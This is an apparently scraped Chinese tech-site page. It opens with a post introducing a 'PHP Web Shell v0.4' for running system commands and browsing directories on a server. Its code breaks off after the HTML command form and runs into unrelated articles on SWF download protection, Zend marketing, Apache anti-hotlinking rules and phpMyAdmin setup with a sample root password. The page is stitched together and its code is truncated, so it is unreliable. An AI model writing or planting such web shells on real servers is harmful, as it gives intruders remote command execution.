首页 > 编程技术 > php

PHP Shell的编写(改进版)

发布时间:2016-11-25 16:15

  以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!

程序介绍:
程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录
未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能
程序代码:

<html>
<head>
<title>PHP Web Shell v0.4</title>
<!-- 定义文件样式 -->
<style>
<!--
.input{BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt;}
.font{FONT-SIZE: 9pt;}
.fonts{FONT-SIZE: 15pt;}
TABLE{FONT-SIZE: 9pt; COLOR: #006666}
A {FONT-SIZE: 9pt; COLOR: #6666cc; TEXT-DECORATION: none}
A:hover {FONT-SIZE: 9pt; COLOR: #ff3333; TEXT-DECORATION: none}
BODY
{ SCROLLBAR-FACE-COLOR: #ffffff;
SCROLLBAR-HIGHLIGHT-COLOR: #6c6c90;
SCROLLBAR-SHADOW-COLOR: #fcfcfc;
SCROLLBAR-3DLIGHT-COLOR: #fcfcfc;
SCROLLBAR-ARROW-COLOR: #240024;
SCROLLBAR-TRACK-COLOR: #fcfcfc;
SCROLLBAR-DARKSHADOW-COLOR: #48486c;
SCROLLBAR-BASE-COLOR: #fcfcfc
}
-->
</STYLE>
</head>
<body bgcolor="#eeeeee" text="#000000">
<center><font size=3 color=red class=fonts><b>PHP Web Shell</b></font> v0.4
<font size=2 color="000000" class=font>适用系统:Win32/Linux/Unix/BSD</font>
<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>"> //获取脚本本身
<font class=font>输入命令 </font><INPUT TYPE="text" NAME="cmd" size=20 class=input>
<INPUT TYPE="submit" value="执行" class=input>
本文的保护是指防止用户将swf文件保存到本地,其实这种方法在很久之前就有人使用过了。主要的保护措施就是在php后台读取$_SERVER数组,如果是用IE里面的ActiveX控件来加载影片,将会有一个$_SERVER["HTTP_X_FLASH_VERSION"]参数,如果是用其它下载软件来下载,则不会有这个参数,纳闷的是用Firefox的ActiveX竟然没有这个参数。
这样一来就可以通过这个参数来判断用户的获取方式是否合法了。如果检测到没有$_SERVER["HTTP_X_FLASH_VERSION"]这个参数,就可以在后台切换另外一个swf来替换原来的。
 
另外一个就是缓存问题了,一般swf显示之后都还会显示在用户的缓存那里,这个问题也可以解决,那就是通过设置网页的头文件来实现,PHP代码:

使用PHP程序来保护你的flash作品"

要声名一下,这种保护技术的能力是有限的,可以破解的方法还是有的。
>>摘自对Zend 的marketing VP Pamela Roussos的访问
继PHP获得“Programming Language of 2004”大奖之后,由Zend公司主导的PHP,开始向J2EE和.NET发起挑战,抢夺WEB企业应用开发市场。
根据 Forrester公司的调研,预计到2006市场上将会 有22%的企业应用使用J2EE开发,13%使.NET,56%为二者结合,还有9%使用其它语言和平台。Zend公司的目标正是这9%(甚至更多,因为Zend认为J2EE过于复杂,而使用PHP来高效率地开发出高速的应用是不难的 。Zend公司已经推出了Zend Platform 1.1, 目的正是在于提高PHP的企业级应用竞争力。这是一个完整的解决方案,甚至为PHP和Java的结合提供了一个PHP/Java Integration Bridge ,使用两者可以方便地结合。它将被集中到Zend Studio中。Zend Platform支持 Linux, Sparc Solaris, FreeBSD 4.x/5.x 和 Mac OS X. ,其单CPU服务器版本价格为999美元,双CPU服务器版本价格为1495美元。
 
除了推出Zend Platform外,Zend公司正在加紧推出Zend Studio4.0,大约在情人节(05.02.14)可以推出Beta版本。
 ZendStudio提供了MySQL, PostgreSQL, SQLite, Oracle, SQL Server, DB2 和 Cloudscape 数据库集成和支持。
顺便提一下Zend公司,这个在以色列成立五年的公司已经拥有8000多个客户(如ufthansa, Lockheed Martin, Disney Online, Dresdner Bank, Orange and ADP)。2003年其总部迁往美国加利福尼亚州,并开始在德国和日本开设办事处。


Apache 实现禁止图片盗链
1、假设充许连结图片的主机域名为:www.demo.com.cn
2、修改httpd.conf
Code:
SetEnvIfNoCase Referer "^http://www.demo.com.cn/" local_ref=1
<FilesMatch ".(gif|jpg)">
Order Allow,Deny
Allow from env=local_ref
</FilesMatch>

这个简单的应用不光可以解决图片盗链的问题,稍加修改还可以防止任意文件盗链下载的问题。
 
使用以上的方法当从非指定的主机连结图片时,图片将无法显示,如果希望显示一张“禁止盗链”的图片,我们可以用mod_rewrite 来实现。
 
首先在安装 apache 时要加上 --enable-rewrite 参数加载 mod_rewrite 模组。
 
假设“禁止盗链”的图片为abc.gif,我们在 httpd.conf 中可以这样配置:

Code:
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?demo.com.cn /.*$ [NC]
RewriteRule .(gif|jpg)$ http://www.demo.com.cn/abc.gif [R,L]
++++++++++++++++++++++++++++++++++++++
DocumentRoot "/usr/local/apache/htdocs"
#设置存放站点html文件的目录。
 
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
#设置/目录的指令。具体地说明:
Option:定义在目录内所能执行的操作。
 
None:表示只能浏览,
FollowSymLinks:允许页面连接到别处,
ExecCGI:允许执行CGI,
MultiViews:允许看动画或是听音乐之类的操作,
Indexes:允许服务器返回目录的格式化列表,
Includes:允许使用SSI。这些设置可以复选。
 
All:则可以做任何事,但不包括MultiViews。
 
AllowOverride:加None参数表示任何人都可以浏览该目录下的文件。
 
另外的参数有:FileInfo、AuthConfig、Limit。


学会使用基于Web数据库的管理工具phpMyAdmin。
  如果使用合适的工具,MySQL数据库的管理就会为得相当简单。应用MySQL命令行方式需要对MySQL知识非常熟悉,对SQL语言也是同样的道理。不仅如此,如果数据库的访问量很大,列表中数据的读取就会相当困难。
  当前出现很多GUI MySQL客户程序,其中最为出色的是基于Web的phpMyAdmin工具。这是一种MySQL数据库前台的基于PHP的工具。PhpMyAdmin的缺点是必须安装在你的Web服务器中,所以如果没有合适的访问权限,其它用户有可能损害到你的SQL数据。
  功受奖者PhpMyAdmin的安装过程非常简单。从http://www.phpmyadmin.net/下载PhpMyAdmin,当前最新版本是2.6.4-pl3。将下载文件解压缩到你选择的路径,比如 /srv/www/domain.com/html/admin。在将phpMyAdmin与数据库连接之前,请确保phpMyAdmin处于受保护状态,其中可以通过建立一个an .htaccess文件来完成:
<code>
AuthUserFile /srv/www/domain.com/.htpasswd
AuthGroupFile /dev/null
AuthName adminAuthType basic
<Files *>
Order Deny,Allow
Deny From All
Allow From localhost
require user admin
satisfy any
</Files>
</code>
  以上代码段使得假设路径/srv/www/domain.com没有受保护因此.htaccess文件处于Web路径之外(比如Apache中的 DocumentRoot为/srv/www/domain.com/html)。使用htpasswd工具建立 /srv/www/domain.com/.htpasswd文件:Create the /srv/www/domain.com/.htpasswd file using the htpasswd tool:
<code>
# htpasswd -cm /srv/www/domain.com/.htpasswd admin
</code>
  一旦你已经提供了管理员的密码,可以编辑包含phpMyAdmin 的config.inc.php文件。你将可以编辑$cfg['PmabsoluteUri']关键字以指向安装在服务器中phpMyAdmin的位置,然后编辑$cfg['Servers']数组。为了快速建立和运行,并且能够编辑服务器上所有的数据库,你将需要提供的权限证明:
<code>
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';$cfg['Servers'][$i]['password'] = 'mysecretrootpass';
</code>
  现在你可以进入http://www.domain.com/admin/phpMyAdmin-2.6.4-pl3/并访问你的MySQL数据,并可将路径重命名为phpMyAdmin/以更为方便的访问。
标签:[!--infotagslink--]